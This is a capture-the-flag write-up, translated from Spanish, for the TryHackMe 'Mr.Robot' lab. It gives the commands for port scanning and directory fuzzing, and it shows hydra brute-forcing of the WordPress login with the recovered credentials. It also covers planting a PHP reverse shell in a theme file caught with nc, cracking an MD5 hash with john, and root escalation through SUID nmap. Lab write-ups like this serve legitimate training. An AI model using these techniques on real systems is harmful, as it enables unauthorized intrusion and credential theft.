This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Mr.Robot


December 20, 20226 minutes

https://tryhackme.com/room/mrrobot

Attacker IP = 10.10.10.10

Target IP = 10.10.193.138

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.193.138
PING 10.10.193.138 (10.10.193.138) 56(84) bytes of data.
64 bytes from 10.10.193.138: icmp_seq=1 ttl=63 time=56.6 ms

--- 10.10.193.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 56.631/56.631/56.631/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)

Now we start with a port scan

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.193.138 -oG allPort
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
-sS –min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip host discovery
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.46.125
   5   │     [*] Open ports: 80,443
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p80,443 -sV -sC 10.10.193.138 -oN target

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open  ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03

Web

With whatweb we can get more information about the website

❯ whatweb 10.10.193.138
http://10.10.193.138 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.193.138], Script, UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]

When we open the website, we see an animation that simulates a Linux boot; when it finishes, it shows the following message

Further down there is a “terminal” where only the commands listed above can be used

All the commands show videos, photos and messages related to the series…

Looking for subdirectories

To see whether there are subdirectories, we’ll use gobuster to fuzz with a wordlist located at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt with the following command:

❯ gobuster dir -u http://10.10.46.125 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

===============================================================
2022/12/19 21:57:53 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 236] [--> http://10.10.193.138/images/]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.193.138/blog/]
/rss                  (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/sitemap              (Status: 200) [Size: 0]
/login                (Status: 302) [Size: 0] [--> http://10.10.193.138/wp-login.php]
/0                    (Status: 301) [Size: 0] [--> http://10.10.193.138/0/]
/feed                 (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/video                (Status: 301) [Size: 235] [--> http://10.10.193.138/video/]
/image                (Status: 301) [Size: 0] [--> http://10.10.193.138/image/]
/atom                 (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/atom/]
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.193.138/wp-content/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.193.138/admin/]
/audio                (Status: 301) [Size: 235] [--> http://10.10.193.138/audio/]
/intro                (Status: 200) [Size: 516314]
/wp-login             (Status: 200) [Size: 2613]
/css                  (Status: 301) [Size: 233] [--> http://10.10.193.138/css/]
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/license              (Status: 200) [Size: 309]
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.193.138/wp-includes/]
/js                   (Status: 301) [Size: 232] [--> http://10.10.193.138/js/]
/Image                (Status: 301) [Size: 0] [--> http://10.10.193.138/Image/]
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/rdf/]
/page1                (Status: 301) [Size: 0] [--> http://10.10.193.138/]
/readme               (Status: 200) [Size: 64]
/robots               (Status: 200) [Size: 41]
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.193.138/wp-admin/]

It reports lots of subdirectories. After trying them one by one, I found 2 that matter

/robots/

Contents of /robots/

User-agent: *
fsocity.dic
key-1-of-3.txt

We have the first key

❯ curl http://10.10.193.138/key-1-of-3.txt
---------- key 1 ----------

robots also points to another file, fsocity.dic, which we can download to our machine with wget

❯ wget http://10.10.193.138/fsocity.dic

It is a wordlist with 858160 words

/wp-admin/

wp-admin has a WordPress login panel. We try the usual admin:admin credentials; they don’t work, but there is a small but important detail

Instead of saying the credentials are wrong, it specifies what is wrong. Taking advantage of this, we can go through a wordlist of usernames until that error stops showing up, and then do the same with the passwords

Foothold

With hydra we’ll try the users from the wordlist we downloaded from /fsocity.dic/ with the password test

❯ hydra -L fsocity.dic -p test 10.10.193.138 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username" -t 30

[80][http-post-form] host: 10.10.193.138   login: Elliot   password: test

Now we have a user (Elliot); with hydra we’ll also try passwords with the rockyou.txt wordlist

❯ hydra -l Elliot -P fsocity.dic 10.10.33.39 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:The password you entered for the username Elliot is incorrect" -t 30

[80][http-post-form] host: 10.10.193.138   login: Elliot   password: ER28-0652

With these credentials we can log in to the website, which takes us to its admin panel

Now the goal would be to find somewhere we can upload files, so we can send a malicious PHP file that gives us a reverse shell

In the posts section we can upload or write files, but they stay as plain text

In media we can upload files.

But after checking it with Burp Suite, like in the Vulnversity machine, it only accepts files with image extensions.

Inside the appearance section, in the editor, we can see the website’s PHP files, which we can edit.

For example, we’ll open 404.php and replace what was there with the reverse shell code. It’s important to change the port we’ll be listening on and our machine’s IP

Now we listen on port 443

nc -nlvp 443

Now, when we request a random subdirectory like http://10.10.193.138/okjihogyklasd, it runs 404.php and we get the connection.

Privilege escalation

The second flag is in the /home/robot directory, and there is also a file with a raw-md5 hash

❯ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
censored password (?)

Now, when we try to become robot, this error appears

$ su robot
su: must be run from a terminal

python -c 'import pty; pty.spawn("/bin/bash")' fixes the problem

daemon@linux:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:/$

Now, with find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null, there is one that shouldn’t be there: nmap

nmap --interactive

This opens nmap in interactive mode. Since it is running as root, if we run !sh to spawn a shell, we are root, and we can read the last flag in /root